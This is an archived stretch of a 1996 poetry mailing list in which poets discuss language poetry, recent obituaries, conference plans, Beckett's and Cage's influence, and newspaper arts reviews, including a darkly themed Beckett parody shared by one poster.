An obit yesterday in the Times for A. Poulin, Jr. and last week in the SF Chronicle for Lawrence Hart.

Ron

↑ Index

171. Ken Edwards
post language poetry, post modernist poetry, fakes
Tue 11 Jun 1996

Apologies to Ira Lightman for my sloppy use of the term "post-language poetry" in connection with the Scottish poet Rob MacKenzie. I only meant something like (bearing in mind the nature of the readership of this list) "if you've engaged with language poetry and its various kinships you may find this work of interest". I don't know Rob personally, have never spoken to him, and know of his work only from hearing him read at SubVoicive in London and reading his extraordinary little pamphlet.

In so far as I understand Ira's argument, though, "post-language" in this instance could be taken to be as accurate as "post-modernist" -- ie it doesn't necessarily imply an allegiance to or even an acquaintance with, what has gone before.

I agree that there is a thread of antagonism in some British avant-gardist circles to langpo, often based on ignorance of the work, or at most on a reading of the theoretical writings (but not the poetry) of Silliman and Watten. This is frequently allied to a posturing, male-ego-centric romanticism, or alternatively to a patrician fastidiousness, both of which eerily echo attitudes otherwise identified with that chimera "the mainstream". On the other hand, there are many here who do engage intelligently with langpo.

Myself, I believe the flight from engagement with what's being done elsewhere leads one -- at best -- to reinvent whole sets of redundant wheels.

Please, please, don't anybody dare start another thread on "what exactly is langpo anyway"...

↑ Index

172. Charles Bernstein
[redacted]: *A Celebration*

Tue 11 Jun 1996

ROBERT CREELEY: A 70th Birthday Celebration

BUFFALO

October 10th to 12th, 1996

Thursday, October 10

8pm: Hallwalls, Buffalo
Just Buffalo Tribute
Eileen Myles Reading, introduced by Robert Creeley

Friday, 10/11

3-5 Katherine Cornell Theater, SUNY-Buffalo, North Campus
Welcome: UB President William Greiner
Reading: Gil Sorrentino and Amiri Baraka

5-6:30 420 Capen Hall, North Campus
Opening, "Here: Fifty Years of Poetry in Buffalo", Poetry/Rare Books Collection, 420 Capen

8:30-10 Katherine Cornell Theater
Talk by Artist Jim Dine / Conversation with Robert Creeley
Reading by Robert Creeley

Saturday, 10/12

4-5 Katherine Cornell Theater
Poetry reading: John Ashbery
Reception follows, Jane Keeler Room

8:30 Hallwalls
Jazz concert Steve Kuhn and Carol Fredette
Reception and party with Mercury Rev

all events free and open to the public

program subject to change

↑ Index

173. Jordan Davis
adventures in paradise
Tue 11 Jun 1996

"Adventures in Paradise" by Laurie Duggan seems like a pretty good poem to me. Here is a sample stanza:

The doctor lived on the main street until
he moved around the corner. He thought I was smart.
My grandmother didn't like Picasso - for her
the sole representative of "Modern Art". I wanted
to be a veterinary surgeon and fix up animals
and live on a farm like my uncle and aunt.

The poem may be a little 'smart' on the whole, but Duggan has a great light touch.

Just typing,
Jordan

↑ Index

174. Chris Stroffolino
Re: Passings
Tue 11 Jun 1996

Ron--DId you know POULIN?
I remember his intor. to poetry anthology was what my first "hip" teacher used (and the WCW selected) to turn us on to poetry. I think the 3rd edition (it was green). Then each subsequent edition got WORSE. Like take out Baraka and put in Gerald Stern; take out Kenneth Koch and put in Michael Harper. Etc.

Didn't he also do BOA?
Pardon my ignorance, but who's larry hart?cs

↑ Index

175. **Chris Stroffolino**
Re: adventures in paradise
Tue 11 Jun 1996

---

jordan is that laurie duggan poem a sestina--
UNTIL WANTED, HER ANIMALS SMART AUNT-----cs

↑ Index

176. **Jordan Davis**
Re: adventures in paradise
Tue 11 Jun 1996

Chris, no, Duggan's poem has the pleasant slightly damaged quality of the sestina without the unfortunate insistence on those dopey end words. Whoops! my politics are showing. Here are another six lines of the poem:

I burst a blood vessel below the brain
and spent two months in the Alfred Hospital
reading the complete works of Ian Fleming
which I liked because he could make golf
interesting. Then I read Emile Zola
and started writing D.H. Lawrence imitations

in which young men full of spirit flung
themselves down upon the earth and felt it breathe
and everything seemed complete. I wanted
to be a rock star, then a painter,
then a novelist, but I ended up writing poems
late in 1966, misunderstanding T.S. Eliot.

What the hell - have twelve lines! You'll note, Chris, a decided Kenneth Koch-influence on that last line. Duggan was I believe a big Scripsi conspirator, and an Otis Rusher as well. Any recent Duggan sightings?

Enthusiastically,
Jordan

↑ Index

177. Ira Lightman

Re: post language poetry, post modernist poetry, fakes

Tue 11 Jun 1996

Thanks to Ken for his engaged response here. I reiterate that he is one of the pioneers of openness to LangPo among the Brits.

Ken, could you detail a few of the poets here, as you say, who engage intelligently with langpo, which books or poems?

Ira

On Tue, 11 Jun 1996 07:03:06 EDT Ken Edwards wrote:

> I agree that there is a thread of antagonism in some British avant-gardist
> circles to langpo, often based on ignorance of the work, or at most on a reading
> of the theoretical writings (but not the poetry) of Silliman and Watten. This is
> frequently allied to a posturing, male-ego-centric romanticism, or alternatively
> to a patrician fastidiousness, both of which eerily echo attitudes otherwise
> identified with that chimera "the mainstream". On the other hand, there are many
> here who do engage intelligently with langpo.
>
> Myself, I believe the flight from engagement with what's being done elsewhere
> leads one -- at best -- to reinvent whole sets of redundant wheels.
>
> Please, please, don't anybody dare start another thread on "what exactly is
> langpo anyway"...

↑ Index

178. **Aldon L. Nielsen**
Re: Sumerian Reading
Tue 11 Jun 1996

Ecco press, which seems in the past few years to have recognized the existence of black writers on the planet, has reissued William Melvin Kelly's beezaar jazz novel, _A Drop of Patience_ -- rec. with caution for all -- fascinating writer who has not been heard from in some time --

ORONO --

arrive Wed. evening STOP stopping at that same off-campus hotel STOP will be there entire conference STOP will nearly fall asleep from quandariness, then attend conference STOP do they still throw lobsters into the ring at poetry slams there?

↑ Index

179. **Hank Lazer**
Re: mainestays
Tue 11 Jun 1996

Aldon et al--

I'll be at Maine too, arriving Tuesday night, staying until mid-day Sunday. I'll give a talk on Wednesday, Panel 2E. I'm talking about the development in the early 1950s of a short-line resource in poetry, via Zukofsky, Eigner, Creeley, Niedecker, Olson .... part of an ongoing thinking about what Oppen called "the lyric valuables." Also I'll be taking part in group reading, which I think is scheduled for Friday evening.

Looking forward to placing names with faces or vice versa....

Hank Lazer

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180. **Laura Moriarty**
Re: Passings
Tue 11 Jun 1996

---

11 June 96

Chris -

I have not known Lawrence Hart's work myself, but thought the name sounded familiar.I found him in the files here at the Poetry Center. He organized a reading here for the Activists - (Rosalie More, Jeanne McGahey, Marie Graybeal, Fred Ostrander, John Hart and Leonard Horwitz.) The mimeograph from the

reading (probably put together by Robert Duncan who was Assistant Director of the Center at the time) gives a short bio of Hart. It is from March 5, 1963.

"Lawrence Hart founded the Activists more than twenty years ago in San Francisco - their objective to work out disciplines for use in so-called experimental techniques. Work of this group has appeared widley in national magazines. The May 1951 issue of Poetry was entirely made up Activist work with Hart as guest editor - followed by a sequel in 1958. His criticism has been published in Poetry, Quarterly Review, Accent and has been reprinted in the British anthology Modern Reading. He is the recent publisher of the Activist anthology, Accent on Barlow, and has just completed a textbook presenting contemporary poetry for 7th and 8th grade and high schools. With the cooperation of Bay District and Marin County schools he has worked with talented children for several years."

There is correspondence with Duncan indicating that the Activists group was underrepresented at the Poetry Center and eagerness from Hart that they be more involved. I believe we have an audiotape of the reading in 1963.

Anyway, to fill you in -

Laura

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181. Mark Wallace
various cages
Tue 11 Jun 1996

Chris Stroffolino and anyone else:

Jeff Hansen's e-mail address (for Poetic Briefs also) remains the same, but he does not respond to the list in the summer when he's not at work, so he will not be available via e-mail until the fall.

Re Cage: Certainly there is value in comparing the later with the earlier Cage, and if someone has an interesting set of reasons for preferring the earlier Cage, than that seems reasonable. But as for Tim Page's review (and I appreciate Herb Levy's post on his credentials--it's a shame that they proved so worthless here), no such comparison takes place there. It is, and I've already said this, a hostile, slanderous attack in which he finally suggests that the only intersting thing about Cage's Europera 5 (and indeed ALL of Cage's work since 1952) is whether he can be sued for it. Educated, credentialed, or not, that's a fool's position, just as the idea that Cage's later work "has no point but isn't even about having no point" is simply not a respectable position, but a hostile assault. I may have misunderstood Oren Izenburg's response, if his argument simply is that he finds Cage's earlier work "preferrable." That's fine. But the problem (and it still seems a real one to me) is not that Page PREFERS Cage's earlier

work on reasonable grounds, but that he dismisses the later Cage with a bunch of imperious and deeply incorrect statements about what Cage is doing in that later work (i.e. "nothing"). That's the offensive position that it seemed to me that Oren Izenburg was saying was "reasonable," but if it's Mr. Izenburg's position simply that he "prefers" earlier Cage, so be it. And I think my original post, in which I quoted Page saying that Cage's later work has no point, and that it's only interesting to think about whether he can be sued, made what was blatantly stupid about the article clear, and I still don't think that whether the article was a hostile, stupid attack is debatable. It WAS a hostile, stupid attack. It is in fact the STANDARDIZED hostile argument that the American media almost always presents about avant garde work on those rare occasions when it's mentioned.

As to the issue of what can be made a litmus test that Herb Levy raises, that's an interesting question, but I'm not really that interested in making Cage a litmus test here. I think more importantly that the litmus test, in terms of this experimental context, is whether a writer responds to avant garde art and writing in an honest, however questioning, manner, or whether a writer takes blatant advantage of media hostility to artists (and experimental artists in particular) to LIE about such artists in order to be able to sell their articles to media monstrosities like the Washington Post. That's what Tim Page has done (and the fact that he knows Cage makes this only more clear)--nothing he says about Cage has the slightest ring of truth, nor does he intend to have it. I don't know how well known his obvious dislike of Cage is, but I'm also certain that it's quite possible that the Post knew Tim Page hated Cage's experimental work when they asked him to write the review, or agreed to let him submit it. Whether one loves John Cage or has problems with his work or both IS NOT THE POINT. The point, in this case, is the way in which Tim Page has used media hostility to intellectually slander somebody that he apparently once worked with. For me, intellectual slander IS a significant litmus test of whether one deserves respect. I guess what I'm not clear on in Oren Izenburg's post is whether he thinks that slander didn't happen, or whether he simply misread me to be saying that my problem with Tim Page was about artistic differences, when the problem is really about ethics and power.

mark wallace

↑ Index

182. **Chris Stroffolino**
Re: mainestays
Tue 11 Jun 1996

I'll be "competing" RED LIGHT With Hank Lazer and RED LIGHT doing what RED LIGHT I think is a kind of RED LiGhT "close reading" of RED LIGHT two 1952 RED LIGHT O'Hara POEMS to and or about RED GRACE LIGHT HARTIGAN the lyric invaluables.....cs

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183. **David Kellogg**
Re: mainestays
Tue 11 Jun 1996

I'll be there, too, arriving Wednesday.

Mine's the last panel in the whole damn conference, but my paper's on Stanley Kunitz of all people, so who can blame 'em? The upshot is a reading of the 1959 *Selected Poems* as a historical document creating an ancestry for Lowell et al., as against the prevailing "neglected genius" reading of that book's sudden laurels. Of course, I've still gotta finish it, and who knows what I'll say when it's over?

Cheers,
David
~~~
~~~

writing. Particularly, I was struck by the way that "silence" and "nothing" are such central terms at about the same time for Cage and Beckett, but Cage seems to have mattered a lot more for querzblatian types--am I wrong? If not, is the reason something like, they both intuited the impossibility of big-S Selfhood, but what was an opportunity for Cage was an intolerable threat for Beckett, and so he seems rear-guard? Or were they talking about totally different things under the same names? It's fascinating to me how liminal Beckett seems--both totally constructed and always seemingly on the verge of disintegration. But does the construction belie the desperation? Or vice versa?

Thanks,
John

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185. **Joseph Zitt**
Re: what matter who's speaking
Tue 11 Jun 1996

On 11 Jun 96 at 22:50, Tim wood wrote:

> *Cage's work is much more detached: there was little/no content to worry about. With Beckett, there was always some amount of content, and pretty damn depressing (& exciting...) content at that. At the same time, I wonder if the lack of content isn't ultimately more depressing.*

Well, not for me. I love Beckett (have several settings of Beckett texts for voice and whatever sitting in drawers somewhere), but I don't find the "detached" Cage depressing at all. But then, I've never been much of a content fan (I get this image of the content hitting the...), and I find a lot of Beckett quite funny.

(I get this goofy image of someone a hundred years down the line doing a paper viewing the Thoreau-based pieces that you and I are writing for Question Authority, The in the light of our respective views of Beckett and Cage... Maybe we gotta work Satie in somehow.)
---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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186. **Carnography**
Re: what matter who's speaking
Tue 11 Jun 1996

J. Beer:

> *I was*
> *curious to see what sort of a legacy people think that Beckett's had upon contemporary writing.*

This is too large a question to be answered off-handedly. It is like asking a Cabalist to explain the significance of the number seven over cocktails. More later. But for now:

Suffice to say that Beckett--especially late Beckett--has had an *indelible* influence on contemporary poetry. Would Coolidge's _Mine_ read as it does without _How It Is_ and _Company_? Would Ashbery, for that matter? Would any so-called solipsistic text written in the last thirty or forty years? Would Alan Davies's essays read as they do? Would any voice that deconstructs itself reductio ad absurdum do so with a cantabile lilt without _Ill Seen, Ill Said_?

It is difficult to think of a living writer who *hasn't*
been influenced by Beckett.

> *Cage seems to have mattered a lot more for querzblatian*
> *types--am I wrong?*

Not for me--not, I think, for Perelman's AKA (though P's here, from what I hear, and can speak for himself).

On the other hand, I believe you might be drawing a false parallel between two distinct philosophical choices. Beckett chose to focus on the individuated voice by stripping it clean; Cage often seemed to regard the voice as an egoic distraction, and performed chance operations, it would seem, to delete it completely.

Re silence: When asked to explain the difference between himself and Joyce, Beckett said: Joyce wants to put everything in, I want to take everything out. In this context, silence is arrived at differently than in Cage's work.

I regard both Cage and Beckett to be hugely important--but in hugely different ways.

Diminuitively,

Rob Hardin

PS:

For those who are interested: Here is one of the four Beckett parodies I wrote and read at The Unbearables' Irish Writers Reading Reading (Shanden Star, last year). It's about a crack whore, of course.

§§§

exsanguine in southwest corner of grime-streaked window? In gradual glow of embers' end, will she lean and dream, or merely drum fingers on sill, each pulse-beat ticking its term of sleep, in paradiddles that trope the see-saw thrusts of clients, of her noonwhite whorelife, abandoned at brothel door, or so she imagines, recalling serrated day on plank of pricks, her sheep-count obliterating apes that crowd old holes, the ghosts of belly-slap and sweat-smear staining this sunset, staining her last inclination to end?

Past slide of horizon, outside that fecal frame, will she lean, slow arc of sun sinking in window's rim, crease upon creak? Will she dream of first love, that doddering werewolf, no charm for her but immunity worn like mascara, eyes memorizing aimless dotard combing last strands and muttering of some insignificant summer? Will she lean even then?

In gradual glow at close of day, will she imagine staring face down in river, wind smoked out of lungs at last, the water below impaled by piers, the surface scarred by water-boatmen and bits of floating wood, multiple exposures of reflection and flesh drifting across the mirrored lens of the water, as twists of bedsheet lasso her limbs like sleep? Will she picture moss tendrils seducing her into wreckage, as twinges of pain awaken her body, flashpoint beams of tiny, parasitical flashlights? Will her attention flicker, and dreams drone softer, as the sky grows deliciously dim?

Never attend her, no succor but staring, no dream but drone, it is always she who dreams, I cannot dream, in a last still stream a stiff hand stands, white-edged in rinse of foam her sodden limbs, I wist she whitens, in river's isinglass poured toward shore, it is she who drifts, I cannot drift, if her head grew heavy with sleep and drooped face-down, would she laugh as she leaned and bubbles rose, or would she sink as now, in afternoon's caul, past slide of horizon, it is not mine to question, whether she feels light fail, it is my fault she fails, my fault the slow suffocation, I cannot lean, it is because of me she leans, into rivers' swirl, into surcease from tears, into ravenous water, afar she imagines the carrion's call, I cannot call, it is because of me she calls, one raven sated, nothing said, no word for breath, stretched vocable a rill derailed, afar she shrieks, afoul I follow, in afternoon's caul, to lean at last, in panic, shriek, in panic, to speak as Peter Kürten killed, each knife-slash ticking its term of sleep, in reddening light, in ruby sunset rime, I say to the tricks, to their drooling pizzles, I say to the toss-ups and crawlers, I say, she bleeds, I say, it is because of me she bleeds

http://www.interport.net/~scrypt

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187. **David Golumbia**
Re: LANSING TALISMAN!!!
Tue 11 Jun 1996

Ed -- subscribed earlier this year, received #15, but haven't ever received the "Lansing TALISMAN" -- have I missed it?

--
[redacted]
David Golumbia

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188. **wystan**
Re: what matter who's speaking
Tue 11 Jun 1996

Dear John,
I have always assumed Beckett was one of those writers of fiction who was important to poets and poetry; fiction's hardly the word for what he wrote which's part of the reason. For myself he was the writer that got me writing.
Wystan

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189. **Edward Foster**
Re: LANSING TALISMAN!!!
Tue 11 Jun 1996

---

the last mailing went out yesterday. if you don't have a copy within a week, there's trouble with the post office yet again. best wishes, ed

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190. **Tim wood**
Re: what matter who's speaking
Tue 11 Jun 1996

> *I have always assumed Beckett was one of those writers of fiction who was important to poets and poetry; fiction's hardly the word for what he wrote which's part of the reason. For myself he was the writer that got me writing.*
> *Wystan*

Wystan,

My agreement on this point. Beckett may have used the framework of "fiction" to cloth his work, but the heart of the work falls into poetry. Any number of passages in the trilogy work with some very intricate cyclings and subtle references and word play are rampant in his work, etc., etc. In one interesting performance I had the joy to experience (if only I could claim the idea!) they took the one passage (test: name work) in which the character goes back and forth between different elements in a bedroom, including the dresser over and over and over and over again. Instead of just "staging" (how would one do that...) or reading the passage, the reading was grabbed by a sampler and echoed back live again and again and again. The extend reverberation/echoing/whatever of the words seemed to pull the audience and the performers into a space seperate from the auditorium. Wonderful.

Tim

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191. Rod Smith

Re: what matter who's speaking

Tue 11 Jun 1996

This Beckett/Cage question is interesting. I've often thought of it as Appolonian/Dionysian. Cage found Beckett's work too dark -- on the other hand he got on famously w/ Jasper Johns! Optimism was such an important part of Cage's character (not that he also didn't have a dark side/ dark times), but what he perceived as the complete lack of affirmation in Beckett made him question. I told him he should read _Watt_, the humor, as he loved Joyce so, but I don't think he ever did.

I don't think it's true that Cage is more important to experimental writers than Beckett, he has certainly been of great use to many. P. Inman in particular points to Beckett, as does Retallack.

There's a book by Nicholas Zurbrugg called _The Parameters of Postmodernism_ which works off a dialectic of what he calls "C-effect" vs. "B-effect" -- which opposes Cage, Beuys, Anderson, & others to Beckett, Baudrillard, Bourdieu, etc. (etc?) -- actually he locates "the dawn of the B-effect" in Benjamin's "Work of Art in the Age of Mechanical Reproduction" to which he opposes Cage's radical experimentation, questioning of value judgements, & enthusiam for technology. I'm not doing the book justice here though at times it seems a bit to either/or, as does the Apollonian/Dionysian above, & needs more of an actual dialectic goin' on.

One other thing on Cage & Beckett-- Cage contributed to the Review of Contemporary Fiction issue on Beckett, a beautiful, very spare mesostic on a 5-line Beckett poem. Cage is missing from the contents page, it's pg. 85.

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192. **Tim wood**

Re: what matter who's speaking

Tue 11 Jun 1996

> *"silence" and*
> *"nothing" are such central terms at about the same time for Cage and Beckett, but Cage seems to have mattered a lot more for querzblatian types--am I wrong? If not, is the reason something like, they both intuited the impossibility of big-S Selfhood, but what was an opportunity for Cage was an intolerable threat for Beckett, and so he seems rear-guard? Or were they talking about totally different things under the same names?*

Cage's work is much more detached: there was little/no content to worry about. With Beckett, there was always some amount of content, and pretty damn depressing (& exciting...) content at that. At the same time, I wonder if the lack of content isn't ultimately more depressing.

I seem to remember reading that Beckett's shift to plays was because the novels were too personal. Interesting, perhaps the impossibility of Selfhood was too personal <Don't throw that one at a addict of black and white logic>. But, I don't know if that justifies reducing Beckett to the phrase "rear-guard". That term (and please I'm not flaming) seems meaningless for the same reason phrases like "cutting edge" and "innovative" and "original" are so utterly meaningless. What is "rear-guard" at this point? Perhaps its better to look at Beckett/Cage as a contrast of one dealing with/exploring/describing the struggle with that threat vs. one playing in the lack of selfhood. Some of the more romantic on the group might value the heroic antiheroism of the former as more important...

> *It's fascinating to me how liminal Beckett seems*

agreed... see my other post on this thread...

> *--both totally*
> *constructed and always seemingly on the verge of disintegration. But does the construction belie the desperation? Or vice versa?*

Perhaps it's both... both and neither belieing (word or not that) the other.

Tim Wood

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193. **Rod Smith**
Re: what matter who's speaking
Wed 12 Jun 1996

Tim wrote--
>Cage's work is much more detached: there was little/no content to worry
>about. With Beckett, there was always some amount of content, and pretty
>damn depressing (& exciting...) content at that. At the same time, I
>wonder if the lack of content isn't ultimately more depressing.

Don't know what you mean by lacking content. How cld it be? Do you mean narrative? Also don't understand "playing in lack of selfhood." How cld it be? or not be?

Rod

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194. **Chris Stroffolino**
Re: what matter who's speaking
Wed 12 Jun 1996

Very Good post Rob on Beckett--- I'd like to add that the earlier Beckett (of the trilogy, WATT, even PROUST, etc.) seems to have a bigger influence on, say, Ashbery than the ILL SEEN ILL SAID stuff. more later....

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195. **wystan**
Re: what matter who's speaking
Wed 12 Jun 1996

Dear Rod, Good posts. Your mention of Johns reminds me of the Beckett/Johns collaboration: FOIRADES/FIZZLES. Johns who is clearly creatively comfortable with both Cage and Beckett, can serves as a useful bridge figure here. Since for all three what content is is a question, it is not useful to compare them on the basis of how much any one of them has of it. Although, it is useful to see how putting the question is different depending on the art form in which it is put. And pessimism/optimism aside, the main thing is that putting content in question is a means of restoring the authority of the creative. ... leastways it did that for me. Wystan

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196. **Herb Levy**
Re: what matter who's speaking
Wed 12 Jun 1996

I don't know of any direct connection between Cage's use of silence/nothing & Beckett's, but there is a direct connection between Beckett & Morton Feldman, who has earlier come up in connection with Cage.

One of Beckett's last texts was "Neither" written specifically for Feldman's opera of the same name & in gratitutde for this text, one of Feldman's later pieces, for chamber orchestra, was dedicated, and titled, "For Samuel Beckett."

> *Regarding what people are reading, I've been going through Beckett's trilogy (Molloy, Malone Dies (I'm on this), and The Unnameable), and I was curious to see what sort of a legacy people think that Beckett's had upon contemporary writing. Particularly, I was struck by the way that "silence" and "nothing" are such central terms at about the same time for Cage and Beckett, but Cage seems to have mattered a lot more for querzblatian types--am I wrong? If not, is the reason something like, they both intuited the impossibility of big-S Selfhood, but what was an opportunity for Cage was an intolerable threat for Beckett, and so he seems rear-guard? Or were they talking about totally different things under the same names?*
> *It's fascinating to me how liminal Beckett seems--both totally constructed and always seemingly on the verge of disintegration. But does the construction belie the desperation? Or vice versa?*
>
> *Thanks,*
> *John*

Herb Levy
[redacted]

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197. **Charles Smith**
Re: what matter who's speaking
Wed 12 Jun 1996

as to: "I was
curious to see what sort of a legacy people think that Beckett's had upon contemporary writing. "

For one, it's hard for me to imagine the writing of Clark Coolidge without the example & explorations of Beckett.

Charles Smith

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198. **Herb Levy**

Re: various cages - newspaper reviews

Wed 12 Jun 1996

I have a lot of different things to say in response to the ongoing discussion of Cage here. I've split my comments on the Cage discussion into several parts, cause this one got to be pretty long. It's about the value of newspaper reviews.

The following is based not only on my own twelve years producing and presenting concerts of post-Cageian (wait, I think there were two concerts which included works by Cage, so they weren't all literally post-Cageian) new music, but also on my serving as board member of the now defunct New Music America festival for six or seven years & on my reading of the press kits of countless composers and performers of new music, dance, etc. as well.

Also this applies most particularly to the situation in the United States, but in my limited experience it doesn;t seem to be too different in much of the developed world.

Clearly the content, tone, etc. of Page's review were abominable, but it was a review in a daily paper. It isn't an academic or artistic critique of Cage, it's a newspaper review & the rules are very, very different. Newspaper reviews don't really mean anything, it's simply not worth the trouble to take them seriously.

I don't think that experimental writers are used to dealing with newspaper reviews very often, so I guess I can understand wanting to treat it as serious criticism, but it's simply absurd to do so. Newspapers don't carry arts criticism, they have entertainment reviews. If the fact that sometimes these reviews of entertainment are about events that you consider art confuses you, this is your problem & not the problem of the newspaper.

No one (except the uncle who lives in the town in which you are unlikely enough to be reviewed & he just wants to know why you aren't calling your parents more often anyway) remembers newspaper reviews, they are strictly filler that is only useful to the artist if the information about any future events, recordings or publiations is accurate.

Particularly (but not exclusively) when they are about "avant garde" work, EVEN when the review is positive, a newspaper review is almost always just as full of errors of fact as when the review is negative. In virtually all instances where a review is not incorrect, it has been cribbed from the press release & does not reflect the thinking of the reviewer.

People who write reviews of the performing arts for newspapers, many of whom are great people and good writers, are almost never specialists in "experimental" work. Even in the rare cases in which they are familiar with this kind of art, they were hired to write about mainstream movies or classical music or

best sellers. So you frequently read reviews of jazz concerts by someone who knows about painting, reviews of paintings by former sports writers, reviews of theater by someone who knows about classical music, etc.

That's the way it is in the newspaper world. The idea is that anyone who is a journalist can write about anything, because they are trained to cover the five W's before the deadline.

Also, in this climate, writers who are supportive of unusual kinds of events are often seen as partisan, and in the wonderful world of journalistic ethics, that often means that they are not objective enough to review something.

Anyway, editors will rarely assign reviews of "experimental" work unless the performance is running for more than one night (as a kind of consumer report for those who might want to go after the opening night) & the editor usually assumes (usually correctly) that most of the "regular" people who read his paper would think that this event was a pile of crap, anyway.

&, even if an experimental event is running for more than one night, an editor will usually only assign a review of work like this if 1) it is being presented by an organization he cannot otherwise ignore, 2) if there are no other arts events that week for a salaried reporter to cover or, 3) there was a preview of the event in a competing paper that he can't ignore.

Is this depressing enough yet?

I don't know of an equivalent resource for Cage, so let me suggest that someone go to the Merce Cunningham Dance Company Web site (<http://www.merce.org/> it's worth looking at anyway) & look up the tour history of the company. Then go to a good research library and look up the reviews in the daily papers for each performance/residency by the company. Count the ones that are factually accurate (don't expect them to be informed as to the aesthtic issues involved in what Cunningham et al are about) & let me know the percentage. I'll be very very surprised if it's higher than 10-15%.

The fact that there's some coverage of the "experimental" performing arts in daily newspapers IS different than the usual case for "experimental" literary arts. But, because there's so little context for the work in the daily lives of most of the people who read these reviews, they are meaningless attempts at filling the space around the department store advertisements, and they are treated as such by most editors and writers.

If you want to bang your head against this wall, you'd better believe that it has almost nothing to do with a despicable review by Tim Page, and everything to do with the general state of culture. The situation is so globally fucked up, that to get a wild hair up your butt about a literally stupid review seems like a misplacement of effort.

The problem isn't that newspapers don't treat the avant garde with respect, it's that newspapers like the rest of the society we live in, don't treat any kind of art with respect, even the popular arts like television.

& that's a whole other letter to the editor.

Herb Levy
[redacted]

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199. **Herb Levy**
Re: various cages - Europera 5
Wed 12 Jun 1996

Mark, have you heard Europera 5, on CD or in performance?

I've heard a LOT of John Cage's music, I've heard the Europera 5 CD by the musicians for whom the work was created, as well as a local performance of the work, & I'd be quite hesitant to spend a lot of time defending the composition. There's plenty to be said about the work, especially in light of it's structural relation to the previous works in the Europera series. Plenty to be said, but, for many people, I doubt this would include "I really want to hear that piece again." I can think of hundreds of things (including hearing/seeing a performance of Europera 1& 2) that I'd rather do than to hear another performance of Europera 5.

The work was made as a sort of small-scale performable version of the earlier incarnations of Europera: 1& 2, a major composition for extremely large forces (full orchestra, 19 singers, complex staging, lighting, etc.) in a very fully equipped theater (many opera houses aren't suited for the work, let alone more general theaters) & 3 & 4, already created for smaller performing ensembles. There's a discussion of the process of creating this piece in Musicage, the book of conversations between Joan Retallack & John Cage, that Rod has often refered to here.

In many ways, Europera 5 is a minor work, & I don't think it's all that successful. Few of Cage's compositions that use other music as source material depend so much on the recognizability of the original for their effect. Even the other Europeras as denser, allowing for the awareness of other textures & structures out of the found material. In making Europera 5 as sparse as it is, Cage was faced with the same problem that many composers who use digital samples of other music face, how to create something that is unrecognizably new, while using source material that is recognizably old. The excerpts in Europera 5 rarely overlap & are so much a part of the works from which they come that comparatively little synergy arises out of the mix. It seems like nothing so

much as a poorly received radio station playing excerpts from various operas in sequence.

Does Europera 5 deserve to be brutally & ignorantly savaged in a review, probably not? Does such a review of this work deserve an all-out shrill call to arms in defense against an embattled "avant garde"? Again, probably not.

I really don't think that any stance which must defend all works under the rubric of the "avant garde" against all attacks is a useful one.

In the case of Europera 5, there are simply other fights that are more important and other fights more likely to be won.

Herb Levy
[redacted]

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200. Carnography
Re: various cages
Wed 12 Jun 1996

mark wallace typed:

> *intellectual slander IS a significant litmus test of whether one deserves respect.*

Or rather:

Intellectual slander is the misdemeanor of critics.
Its penalty is the loss of the reader's respect.
The quickest way to regain respect: to acknowledge
one's wrong and re-evaluate the object of slander.

(Provisional Ethics 1-1)

http://www.interport.net/~scrypt

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201. Kevin Killian
Re: Miscellaneous stuff
Wed 12 Jun 1996

At 3:22 AM 6/12/96, Ron Silliman wrote:

> *Just finished Carole Maso's Ava, which makes Beckett safe for PBS (that is, to be less snide, she uses the same pallet of devices, but does so to construct a decidedly unified, even romanticized, subjective whole). It brought up for me the whole question of recycled modernism, thinking of Alice Walker's uses of Faulkner in The Color Purple or Ondaatje's*

> *Hemingway in The English Patient. In each instance, the techniques are used to much more conservative ends than those for which they had originally been elaborated.*

Thanks Ron. Now I feel less guilty that I'm reading _House of Mirth_ right now rather than "keeping up."

x,
Dodie Bellamy

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202. Ron Silliman
Miscellaneous stuff
Wed 12 Jun 1996

Chris,

No, I did not know Poulin, but yes, he did do BOA. The obit in the Times was so cloying, it was hard to fathom (odd for a publication that prides itself in its usual critical distance). Hart published a newsletter out of his home in Marin in the mid-80s that attempted to scold all of us barbarians for failing to understand the true meaning of modernism. By comparison to the fugitives, he was a progressive, but that was always the context the work seemed to seek out. I think I've noted here before that Robert Barlow, the poet-anthropologist who was a fellow traveler with the Activist Poets, was somebody whom Olson mentions trying to seek out while in Mexico, somewhere in the Mayan Letters.

Orono folks,

For those of us (and I suspect we are many on this list) who have, as yet, to see a single word explaining what this conference there might be or be about, we hope you will provide the in-depth coverage we are growing used to here. Details, detail, details!

Summer Reading List...

Just finished Carole Maso's Ava, which makes Beckett safe for PBS (that is, to be less snide, she uses the same pallet of devices, but does so to construct a decidedly unified, even romanticized, subjective whole). It brought up for me the whole question of recycled modernism, thinking of Alice Walker's uses of Faulkner in The Color Purple or Ondaatje's Hemingway in The English Patient. In each instance, the techniques are used to much more conservative ends than those for which they had originally been elaborated.

The whole question of a poet's prose or a poet's fiction makes enormous sense to me, Wystan, from Joyce forward. I think that Primary Trouble is right on

target to include Dodie Bellamy in its anthology of poetry. (Great selection too, by the way.)

Next book is Langston Hughes' The Big Sea, which I picked up in SF last month.

All best,

Ron Silliman
[redacted]

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203. Daniel Bouchard
poetry reading
Wed 12 Jun 1996

JOHN ASHBERY EATS FIDDLEHEADS

You are invited
to a poetry reading
where five Boston cats* are blowing their poetry
 REAL HARD

Ange Mlinko
Damon Krukowski
Sianne Ngai
Daniel Bouchard
Chris Stroffolino

10 Oxford Street- REAR, Somerville, MASS.

Monday, June 17
8:30 PM

Nothing has been so good
since Wieners retired

---

* OK, so Stroffolino is an Albany cat not a Boston cat (and soon to be a Jersey City or Brooklyn cat anyway) but such an opportunity for palimpsest rarely occurs.

On your way to Orono (or just hanging around New England?) and want to start the week off right?

Here's your opportunity to see/hear some real Boston.

Call for details: [redacted].

[redacted]

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204. **Mark Roberts**
Re: adventures in paradise
Wed 12 Jun 1996

> *"Adventures in Paradise" by Laurie Duggan seems like a pretty good poem to me. Here is a sample stanza:*
>
> *The doctor lived on the main street until*
> *he moved around the corner. He thought I was smart.*
> *My grandmother didn't like Picasso - for her*
> *the sole representative of "Modern Art". I wanted*
> *to be a veterinary surgeon and fix up animals*
> *and live on a farm like my uncle and aunt.*
>
> *The poem may be a little 'smart' on the whole, but Duggan has a great light touch.*
>
> *Just typing,*
> *Jordan*

Jordan

